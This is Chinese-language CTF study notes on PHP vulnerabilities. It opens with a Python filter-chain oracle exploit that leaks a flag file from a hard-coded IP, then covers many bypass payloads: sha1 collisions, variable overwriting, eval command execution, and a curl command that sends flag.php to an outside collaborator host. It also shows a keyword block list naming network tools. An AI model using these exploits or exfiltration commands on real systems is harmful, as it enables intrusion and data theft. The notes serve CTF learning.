- detect more precisely which character is at the front
"""

def join(*x):
return '|'.join(x)

def err(s):
print(s)
raise ValueError

####唯一修改点
def req(s):
data = {
'0': f'php://filter/{s}/resource=/flag'
}
#post传参使用
#return requests.post('http://localhost:5000/index.php', data=data).status_code == 500

#get传参
url='http://39.105.5.7:49688/?my[secret.flag=C:8:"Saferman":0:{}&secret='+f'php://filter/{s}/resource=/flag'
return requests.get(url=url).status_code == 500

"""
Step 1:
The second step of our exploit only works under two conditions:
- String only contains a-zA-Z0-9
- String ends with two equals signs

base64-encoding the flag file twice takes care of the first condition.

We don't know the length of the flag file, so we can't be sure that it will end with two equals
signs.

Repeated application of the convert.quoted-printable-encode will only consume additional
memory if the base64 ends with equals signs, so that's what we are going to use as an oracle here.
If the double-base64 does not end with two equals signs, we will add junk data to the start of the
flag with convert.iconv..CSISO2022KR until it does.
"""

blow_up_enc = join(*['convert.quoted-printable-encode']*1000)
blow_up_utf32 = 'convert.iconv.L1.UCS-4LE'
blow_up_inf = join(*[blow_up_utf32]*50)

header = 'convert.base64-encode|convert.base64-encode'

# Start get baseline blowup
print('Calculating blowup')
baseline_blowup = 0
for n in range(100):
payload = join(*[blow_up_utf32]*n)
if req(f'{header}|{payload}'):
baseline_blowup = n
break
else:
err('something wrong')

print(f'baseline blowup is {baseline_blowup}')

trailer = join(*[blow_up_utf32]*(baseline_blowup-1))

assert req(f'{header}|{trailer}') == False

print('detecting equals')
j = [
req(f'convert.base64-encode|convert.base64-encode|{blow_up_enc}|{trailer}'),
req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode{blow_up_enc}|{trailer}'),
req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KR|convert.base64-encode|{blow_up_enc}|{trailer}')
]
print(j)
if sum(j) != 2:
err('something wrong')
if j[0] == False:
header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode'
elif j[1] == False:
header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KRconvert.base64-encode'
elif j[2] == False:
header = f'convert.base64-encode|convert.base64-encode'
else:
err('something wrong')
print(f'j: {j}')
print(f'header: {header}')

"""
Step two:
Now we have something of the form
[a-zA-Z0-9 things]==

Here the pain begins. For a long time I was trying to find something that would allow me to strip
successive characters from the start of the string to access every character. Maybe something like
that exists but I couldn't find it. However, if you play around with filter combinations you notice
there are filters that *swap* characters:

convert.iconv.CSUNICODE.UCS-2BE, which I call r2, flips every pair of characters in a string:
abcdefgh -> badcfehg

convert.iconv.UCS-4LE.10646-1:1993, which I call r4, reverses every chunk of four characters:
abcdefgh -> dcbahgfe

This allows us to access the first four characters of the string. Can we do better? It turns out
YES, we can! Turns out that convert.iconv.CSUNICODE.CSUNICODE appends <0xff><0xfe> to the start of
the string:

abcdefgh -> <0xff><0xfe>abcdefgh

The idea being that if we now use the r4 gadget, we get something like:
ba<0xfe><0xff>fedc

And then if we apply a convert.base64-decode|convert.base64-encode, it removes the invalid
<0xfe><0xff> to get:
bafedc

And then apply the r4 again, we have swapped the f and e to the front, which were the 5th and 6th
characters of the string. There's only one problem: our r4 gadget requires that the string length
is a multiple of 4. The original base64 string will be a multiple of four by definition, so when
we apply convert.iconv.CSUNICODE.CSUNICODE it will be two more than a multiple of four, which is no
good for our r4 gadget. This is where the double equals we required in step 1 comes in! Because it
turns out, if we apply the filter
convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7

It will turn the == into:
+---AD0-3D3D+---AD0-3D3D

And this is magic, because this corrects such that when we apply the
convert.iconv.CSUNICODE.CSUNICODE filter the resuting string is exactly a multiple of four!

Let's recap. We have a string like:
abcdefghij==

Apply the convert.quoted-printable-encode + convert.iconv.L1.utf7:
abcdefghij+---AD0-3D3D+---AD0-3D3D

Apply convert.iconv.CSUNICODE.CSUNICODE:
<0xff><0xfe>abcdefghij+---AD0-3D3D+---AD0-3D3D

Apply r4 gadget:
ba<0xfe><0xff>fedcjihg---+-0DAD3D3---+-0DAD3D3

Apply base64-decode | base64-encode, so the '-' and high bytes will disappear:
bafedcjihg+0DAD3D3+0DAD3Dw==

Then apply r4 once more:
efabijcd0+gh3DAD0+3D3DAD==wD

And here's the cute part: not only have we now accessed the 5th and 6th chars of the string, but
the string still has two equals signs in it, so we can reapply the technique as many times as we
want, to access all the characters in the string ;)
"""

flip = "convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode"
r2 = "convert.iconv.CSUNICODE.UCS-2BE"
r4 = "convert.iconv.UCS-4LE.10646-1:1993"

def get_nth(n):
global flip, r2, r4
o = []
chunk = n // 2
if chunk % 2 == 1: o.append(r4)
o.extend([flip, r4] * (chunk // 2))
if (n % 2 == 1) ^ (chunk % 2 == 1): o.append(r2)
return join(*o)

"""
Step 3:
This is the longest but actually easiest part. We can use dechunk oracle to figure out if the first
char is 0-9A-Fa-f. So it's just a matter of finding filters which translate to or from those
chars. rot13 and string lower are helpful. There are probably a million ways to do this bit but
I just bruteforced every combination of iconv filters to find these.

Numbers are a bit trickier because iconv doesn't tend to touch them.
In the CTF you coud porbably just guess from there once you have the letters. But if you actually
want a full leak you can base64 encode a third time and use the first two letters of the resulting
string to figure out which number it is.
"""

rot1 = 'convert.iconv.437.CP930'
be = 'convert.quoted-printable-encode|convert.iconv..UTF7|convert.base64-decode|convert.base64-encode'
o = ''

def find_letter(prefix):
if not req(f'{prefix}|dechunk|{blow_up_inf}'):
# a-f A-F 0-9
if not req(f'{prefix}|{rot1}|dechunk|{blow_up_inf}'):
# a-e
for n in range(5):
if req(f'{prefix}|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
return 'edcba'[n]
break
else:
err('something wrong')
elif not req(f'{prefix}|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
# A-E
for n in range(5):
if req(f'{prefix}|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
return 'EDCBA'[n]
break
else:
err('something wrong')
elif not req(f'{prefix}|convert.iconv.CSISO5427CYRILLIC.855|dechunk|{blow_up_inf}'):
return '*'
elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# f
return 'f'
elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# F
return 'F'
else:
err('something wrong')
elif not req(f'{prefix}|string.rot13|dechunk|{blow_up_inf}'):
# n-s N-S
if not req(f'{prefix}|string.rot13|{rot1}|dechunk|{blow_up_inf}'):
# n-r
for n in range(5):
if req(f'{prefix}|string.rot13|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
return 'rqpon'[n]
break
else:
err('something wrong')
elif not req(f'{prefix}|string.rot13|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
# N-R
for n in range(5):
if req(f'{prefix}|string.rot13|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
return 'RQPON'[n]
break
else:
err('something wrong')
elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# s
return 's'
elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# S
return 'S'
else:
err('something wrong')
elif not req(f'{prefix}|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
# i j k
if req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'k'
elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'j'
elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'i'
else:
err('something wrong')
elif not req(f'{prefix}|string.tolower|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
# I J K
if req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'K'
elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'J'
elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'I'
else:
err('something wrong')
elif not req(f'{prefix}|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
# v w x
if req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'x'
elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'w'
elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'v'
else:
err('something wrong')
elif not req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
# V W X
if req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'X'
elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'W'
elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'V'
else:
err('something wrong')
elif not req(f'{prefix}|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
# Z
return 'Z'
elif not req(f'{prefix}|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
# z
return 'z'
elif not req(f'{prefix}|string.rot13|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
# M
return 'M'
elif not req(f'{prefix}|string.rot13|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
# m
return 'm'
elif not req(f'{prefix}|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
# y
return 'y'
elif not req(f'{prefix}|string.tolower|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
# Y
return 'Y'
elif not req(f'{prefix}|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
# l
return 'l'
elif not req(f'{prefix}|string.tolower|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
# L
return 'L'
elif not req(f'{prefix}|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
# h
return 'h'
elif not req(f'{prefix}|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
# H
return 'H'
elif not req(f'{prefix}|string.rot13|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
# u
return 'u'
elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
# U
return 'U'
elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# g
return 'g'
elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# G
return 'G'
elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# t
return 't'
elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# T
return 'T'
else:
err('something wrong')

print()
for i in range(100):
prefix = f'{header}|{get_nth(i)}'
letter = find_letter(prefix)
# it's a number! check base64
if letter == '*':
prefix = f'{header}|{get_nth(i)}|convert.base64-encode'
s = find_letter(prefix)
if s == 'M':
# 0 - 3
prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
ss = find_letter(prefix)
if ss in 'CDEFGH':
letter = '0'
elif ss in 'STUVWX':
letter = '1'
elif ss in 'ijklmn':
letter = '2'
elif ss in 'yz*':
letter = '3'
else:
err(f'bad num ({ss})')
elif s == 'N':
# 4 - 7
prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
ss = find_letter(prefix)
if ss in 'CDEFGH':
letter = '4'
elif ss in 'STUVWX':
letter = '5'
elif ss in 'ijklmn':
letter = '6'
elif ss in 'yz*':
letter = '7'
else:
err(f'bad num ({ss})')
elif s == 'O':
# 8 - 9
prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
ss = find_letter(prefix)
if ss in 'CDEFGH':
letter = '8'
elif ss in 'STUVWX':
letter = '9'
else:
err(f'bad num ({ss})')
else:
err('wtf')

print(end=letter)
o += letter
sys.stdout.flush()

"""
We are done!! :)
"""

print()
d = b64decode(o.encode() + b'=' * 4)
# remove KR padding
d = d.replace(b'$)C',b'')
print(b64decode(d))

而实际上,这篇文章讲述的更加的清楚:

https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle

其受影响的函数如下:

对于其他函数的情况,上面的脚本似乎不能够实现了,但是还有个脚本能够利用:

GitHub - synacktiv/php_filter_chains_oracle_exploit: A CLI to exploit parameters vulnerable to PHP filter chain error based oracle.

is_file()

is_file()判断是否为文件,利用php伪协议即可绕过,利用的是is_file判断伪协议为false,而highlight_file判断为文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));#因为highlight_file可以识别php伪协议
}else{
echo "hacker!";
}

还可以使用/proc/self/root绕过:

1
file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

同样的道理,利用这个payload可以绕过require_once

原理可能是当require_once包含的软链接层数较多时,once的hash匹配会直接失效造成重复包含

sha1()

同md5,可以利用数组绕过、弱类型比较、sha1碰撞等方式:

1
2
v1=aaK1STf    //0e7665852665575620768827115962402601
v2=aaO8zKZF //0e89257456677279068558073954252716165
1
2
v1[]=1
v2[]=2
1
2
3
array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1

array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

parse_url()

对于parse_url,有一期ctfshow的周末大挑战写的很清楚:

parse_url会对传入的url进行语法分析,然后返回url的每个部分

如果parse_url带两个参数,则会获取结果的一部分:

例如parse_url('url',PHP_URL_SCHEME)只会返回SCHEME部分

第二个参数可选的值有

1
2
3
4
5
6
7
8
PHP_URL_SCHEME,
PHP_URL_HOST,
PHP_URL_PORT,
PHP_URL_USER,
PHP_URL_PASS,
PHP_URL_PATH,
PHP_URL_QUERY,
PHP_URL_FRAGMENT

具体的例子如下:

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);
$data = parse_url($_GET['u']);
print_r($data);
//u=http://username:password@host:8080/path?args=value#test

?>
#输出结果:
Array ( [scheme] => http [host] => host [port] => 8080 [user] => username [pass] => password [path] => /path [query] => args=value )

当然,少了[fragment]=>test,但是实际上还是会有这个的存在的fragment部分

具体的利用方式详见:

ctfshow周末大挑战 - parseurl | Err0r233

如果需要post参数,需要添加引号:

1
v1='flag=0'

is_numeric()

这玩意的话,要绕过也不算绕过吧。。

编码成十六进制就能绕了,当然只能是0x....这种格式的

  • 利用科学计数法:
1
2
3
4
5
<?php
if((int)is_numeric($_GET['a'])){
...
}
?>

传入0exxx即可绕过

绕过原理就是科学计数法

0e开头类型的转换成int后都是1

变量覆盖

对于变量覆盖,一般都会有下面可能的格式:

1
2
3
1. 有for each
2. $$a = $$b;
比较典型的特征就是$$

for example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
//先通过get方法将$flag=>$a
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
//通过post方法将$a=>$error
if(!($_POST['flag']==$flag)){
die($error);
}
//通过die输出$error变量的值即flag
echo "your are good".$flag."\n";
die($suces);

解释一下:

对于get传参的key和value,如果key = error,直接结束,否则 $$key=== $$value

我们知道变量名是$开头的,那我们如果给变量名赋值的话,比如$key=a,此时$$key中的$key会变成a,其实后面就会变成$a

就是利用这个特性,导致原有的变量被后来的变量覆盖

die()结束进程,然后输出$error/$suces的结果

利用变量覆盖将flag赋值给$error或者$suces,然后利用die将其带出即可,当然,我们是可以引入其他变量的

通过$error带出:

1
?a=flag&error=a

通过$suces带出:

这里比较麻烦,需要绕过!($_POST['flag']==$flag)

但是我们可以一举两得:

1
?suces=flag&flag=

既将flag的原有变量设置为了null

又没有POST(视作null)

此时就能从suces输出flag

实际题目当中当然使用error,想的又快

ereg()

废弃函数ereg(),搜索字符串以匹配模式中给出的正则表达式

ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字 母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配

该函数可以使用%00截断绕过:

1
2
3
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
die('error');
}
1
?c=a%00123456

Exception异常处理类

同样和ReflectionClass差不多

1
2
3
4
5
6
7
8
getMessage():返回异常的消息内容;
getCode():以数字形式返回异常代码;
getFile():返回发生异常的文件名;
getLine():返回发生错误的代码行号;
getTrace():返回 backtrace() 数组;
getTraceAsString():返回已格式化成字符串的、由函数 getTrace() 函数所产生的信息;
__toString():产生异常的字符串信息,它可以重载。注意,该函数最前部是两个下划线。

通过ExceptionClass进行命令执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php 

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-29 22:02:34

*/


highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}

}

?>

没什么好说的,直接用就是了:

1
?v1=Exception&v2=system('ls'));//

因为new $v1()是新建一个类,这里创建一个异常类从而进行命令执行获得flag

不用管那个空括号,照样能执行(注释掉了)

与ReflectionClass比较相似:

1
?v1=1&v2=echo new ReflectionClass&v3=;

原生类FilesystemIterator

利用FilesystemIterator可以获取指定目录下的所有文件,例如:

1
2
3
4
5
6
7
8
9
<?php
$a = new FilesystemIterator('.');

while($a->valid()){
echo $a->getFilename()."\n";
$a->next();
}
?>
//列出当前目录下的所有文件

常与getcwd()配合

getcwd(): 获取并返回当前工作目录

原生类DirectoryIterator

1
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);?>

同样的,可以使用DirectoryIterator列出所有的文件名(参考上面的poc)

常与glob伪协议搭配使用

原生类GlobIterator

与glob类似的迭代文件系统

原生类SplFileObject

可以读取文件:

1
echo new SplFileObject('/flag');

直接打文件名即可,也可以配合php伪协议进行使用:

1
a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php

$GLOBALS超全局变量

1
2
3
4
1. $GLOBALS 引用全局作用域中可用的全局变量
2. 一个包含了全部变量的全局组合数组,变量的名字就是数组的键
3. 也就是说,出现过的全局变量都可以用$GLOBALS来获得
4. 在PHP生命周期中,定义在函数体外部的所谓全局变量,函数内部是不能直接获得的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}

if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}

?>

payload:

1
?v1=ctfshow&v2=GLOBALS

将v1覆盖成GLOBALS直接获取全部变量

1
eval("$$v1 = &$$v2;");

get_defined_vars()

get_defined_vars()返回由所有已定义变量所组成的数据

变量名

PHP的变量名只能包含数字、字母、下划线

并且只能够以字母、下划线开头

如果出现.空格+[,则会将不合法的这些符号转换为_

但是呢,如果先出现[,则会将[替换为_,但是对后续的不合法变量则不会再做处理:

1
CTF[SHOW.COM => CTF_SHOW.COM

trim + is_numeric

通过trim去除字符串首尾的空白字符:

例如:

1
2
3
4
5
6
7
8
9
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}

防止利用%0a等操作绕过is_numeric,利用trim除去空格

此时可以做一个测试,检测哪些ASCII字符可以绕过这个限制:

1
2
3
4
5
6
7
8
<?php
for($i=0;$i<128;$i++){
$x = chr($i).'1';
if(is_numeric($x)&&trim($x)!=='1'){
echo urlencode(chr($i))."\n";
}
}
?>

%0c可以绕过

$_SERVER[‘argv’]

对于$_SERVER['argv']有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
命令行模式下:
第一个参数$_SERVER['argv'][0]是文件名,其余是传递给脚本的参数

web网页模式下:
需要开启register_argc_argv配置项
设置register_argc_argv =On

此时才会生效,对于一个url的$_SERVER['argv']有:

example:
1. http://localhost/aaa/index.php
$_SERVER['QUERY_STRING']=""
$_SERVER['REQUEST_URI']="/aaa/"
$_SERVER['SCRIPT_NAME']="/aaa/index.php"
$_SERVER['PHP_SELF']="/aaa/index.php"

2. http://localhost/aaa/?p=222
$_SERVER['QUERY_STRING']="p=222"
$_SERVER['REQUEST_URI']="/aaa/?p=222"
$_SERVER['SCRIPT_NAME']="/aaa/index.php"
$_SERVER['PHP_SELF']="/aaa/index.php"

3. http://localhost/aaa/index.php?p=222&q=333
$_SERVER['QUERY_STRING']="p=222&q=333"
$_SERVER['REQUEST_URI']="/aaa/index.php?p=222&q=333"
$_SERVER['SCRIPT_NAME']="/aaa/index.php"
$_SERVER['PHP_SELF']="/aaa/index.php"

所以由实例可知,$_SERVER['argv'][0] = $_SERVER['QUERY_STRING'],也就是我们查询的那部分内容

$_SERVER['QUERY_STRING'] 获取?后面内容
$_SERVER['REQUEST_URI'] 获取 http://localhost后面的值
$_SERVER['SCRIPT_NAME'] 获取当前脚本的路径,如/aaa/index.php
$_SERVER['PHP_SELF'] 获取当前执行的脚本的文件名 如index.php

例如:

1
2
3
4
5
6
7
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(!isset($_GET['fl0g'])){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}

利用eval将$fl0g等于flag_give_me即可:

1
2
3
4
?$fl0g=flag_give_me #使得$a[0] = $fl0g=flag_give_me
POST:
fun = eval($a[0]) #执行赋值,使得$fl0g = flag_give_me
或者利用assert

$_SERVER[‘REQUEST_URI’]

上文说过:

1
2
http://localhost/aaa/index.php?p=222&q=333
的$_SERVER['REQUEST_URI']是/aaa/index.php?p=222&q=333

利用url编码绕过即可:

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);
var_dump($_SERVER['REQUEST_URI']);
echo "<br/>";
var_dump($_GET['file']);

//http://localhost:5000/lfidemo.php?file=ph%70://filter/resource=flag.php
//string(50) "/lfidemo.php?file=ph%70://filter/resource=flag.php"
//string(30) "php://filter/resource=flag.php"

可以利用这个特性绕过一些$_SERVER['REQUEST_URI']的检测

$_SERVER[‘PHP_SELF’]

配合basename使用:

1
2
/index.php/test.php => test.php
但是访问的仍然是index.php

例如:

1
2
3
4
5
<?php
if(isset($_GET['source'])){
highlight_file(basename($_SERVER['PHP_SELF']));
}
?>

利用:

1
xxx/index.php/flag.php?source

assert()

assert()断言

assert和eval都可以把字符串当作php代码执行

gettext()

启动:

需要查看php拓展是否有php_gettext(),然后在php.ini中查找;extension=php_gettext.dll,去除注释并重启

开启gettext()后,会将_()等效于gettext()

而gettext()相当于获取字符串:

例如:

1
2
3
4
echo gettext("phpinfo");
结果 phpinfo
echo _("phpinfo");
结果 phpinfo

利用gettext进行call_user_func(call_user_func($f1,$f2));构造

shell_exec()套娃命令执行

1
2
3
4
5
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}

1
2
3
4
5
6
get传参   F=`$F `;sleep 3
经过substr($F,0,6)截取后 得到 `$F `;
也就是会执行 eval("`$F `;");
我们把原来的$F带进去
eval("``$F `;sleep 3`"); //``是shell_exec()函数的缩写
前面的命令我们不需要管,但是后面的命令我们可以自由控制。

由于shell_exec()没有回显,可以使用如下几个方法:

可以使用curl带出:

利用Burp Collabrator client创建一个临时域名:

1
2
3
4
F=`$F `;curl -X POST -F xx=@flag.php http://9isaiekb9mnaymhxdhbm9hz52w8mwb.burpcollaborator.net
# -X POST 指定 HTTP 请求的方法为 POST
# 其中-F 是带文件的形式发送post请求
# xx是上传文件的name值,flag.php就是上传的文件

写文件

将内容写入到一个新的文件中,读取这个文件即可:

1
2
3
4
5
6
F=`$F `;cp flag.php 2.txt;
F=`$F `;uniq flag.php>4.txt #uniq检查文本中重复出现的行列
F=`$F `;nl f*>a

#利用tee写文件:
c=ls|tee a #将ls后的内容写入到a中

parse_str()和extract()

利用parse_str()把查询字符串解析到变量中:

例如parse_str($_SERVER['QUERY_STRING']);

传入?_POST[key1]=123

经过parse_str():

会变成$_POST[key1]=123

再经过extract(POST)后,会变成_POST)后,会变成`key1=123`

extract($_POST)

能够将POST传入的变量覆盖掉,甚至能够用于一些登录的情况:

例如下面这个代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if($mode == 'changepassword'){
extract($_POST);
$u = $_SESSION['admin'];//限制
$sql = "select username, password from user where username = '$u'";
$requ = mysqli_query($con, $sql);
$rs = mysqli_fetch_array($requ);

$r=PasswordStorage::verify_password($oldp, $rs['password']);

if($r){
...
}
}

?>

这里如果利用POST传参:

1
_SESSION[admin]=admin

就能够将$u的值修改为admin

eval(“return”)类问题

对于这类问题,需要我们绕过return

1
2
$code =  eval("return $v1$v3$v2;");
